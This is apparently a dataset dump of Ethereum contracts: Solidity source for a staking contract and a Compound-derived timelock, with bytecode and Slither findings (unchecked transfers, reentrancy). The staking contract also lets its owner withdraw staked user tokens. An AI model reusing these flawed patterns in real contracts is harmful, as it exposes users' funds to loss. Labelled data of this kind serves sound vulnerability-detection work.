address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x5d83b6b0cb6f4009dd61a8be5f17d4e05fcefc14
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YFIVEstaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfive token contract address address public constant tokenAddress = 0xd3E8695d2Bef061EAb38B5EF526c0f714108119C; // reward rate 60.00% per year uint public constant rewardRate = 6000; uint public constant rewardInterval = 365 days; // staking fee 1.00 percent uint public constant stakingFeeRate = 100; // unstaking fee 0.00 percent uint public constant unstakingFeeRate = 0; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } uint private constant stakingAndDaoTokens = 13200e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *any* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610962565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610973565b6040518082815260200191505060405180910390f35b61022361098b565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b005b610307610b16565b6040518082815260200191505060405180910390f35b610325610b1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b6040518082815260200191505060405180910390f35b6103b1610caf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610cc7565b005b610413611137565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113f565b6040518082815260200191505060405180910390f35b610489611157565b6040518082815260200191505060405180910390f35b6104a761115d565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611162565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b6203f48081565b610569336112c9565b565b60006902cb92cc8f67144000006001541061058957600090506105b1565b60006105aa6001546902cb92cc8f671440000061155f90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b11610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061180c6034913960400191505060405180910390fd5b61071e336112c9565b73d3e8695d2bef061eab38b5ef526c0f714108119c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b8101908080519060200190929190505050610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6108a281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f933600261157690919063ffffffff16565b801561094457506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561095f5761095d3360026115a690919063ffffffff16565b505b50565b600061096e60026115d6565b905090565b60056020528060005260406000206000915090505481565b606481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b73d3e8695d2bef061eab38b5ef526c0f714108119c73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6457610a5d816001546115eb90919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b810190808051906020019092919050505050505050565b61177081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b5682600261157690919063ffffffff16565b610b635760009050610caa565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610bb45760009050610caa565b6000610c08600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610ca1612710610c936301e13380610c8587610c776117708961160790919063ffffffff16565b61160790919063ffffffff16565b61163690919063ffffffff16565b61163690919063ffffffff16565b90508093505050505b919050565b73d3e8695d2bef061eab38b5ef526c0f714108119c81565b60008111610d3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73d3e8695d2bef061eab38b5ef526c0f714108119c73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610de057600080fd5b505af1158015610df4573d6000803e3d6000fd5b505050506040513d6020811015610e0a57600080fd5b8101908080519060200190929190505050610e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610e96336112c9565b6000610ec0612710610eb260648561160790919063ffffffff16565b61163690919063ffffffff16565b90506000610ed7828461155f90919063ffffffff16565b905073d3e8695d2bef061eab38b5ef526c0f714108119c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f7e57600080fd5b505af1158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b810190808051906020019092919050505061102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61107d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d433600261157690919063ffffffff16565b611132576110ec33600261164f90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b600081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006112d482610b40565b905060008111156115175773d3e8695d2bef061eab38b5ef526c0f714108119c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b505050506040513d602081101561138e57600080fd5b8101908080519060200190929190505050611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61146381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114bb816001546115eb90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561156b57fe5b818303905092915050565b600061159e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61167f565b905092915050565b60006115ce836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6116a2565b905092915050565b60006115e48260000161178a565b9050919050565b6000808284019050838110156115fd57fe5b8091505092915050565b6000808284029050600084148061162657508284828161162357fe5b04145b61162c57fe5b8091505092915050565b60008082848161164257fe5b0490508091505092915050565b6000611677836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61179b565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461177e57600060018203905060006001866000018054905003905060008660000182815481106116ed57fe5b906000526020600020015490508087600001848154811061170a57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061174257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611784565b60009150505b92915050565b600081600001805490509050919050565b60006117a7838361167f565b611800578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611805565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea264697066735822122040def26a12d0e4dcff6156060c9567c783e485a43bc19ec457a70b0b0540da8c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,500
0x00a83550deaa56aae7d54afde5c23739b6d0ba63
/** *Submitted for verification at Etherscan.io on 2020-12-18 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/Timelock.sol // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Ctrl+f for XXX to see all the modifications. contract YvsTimelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 12 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
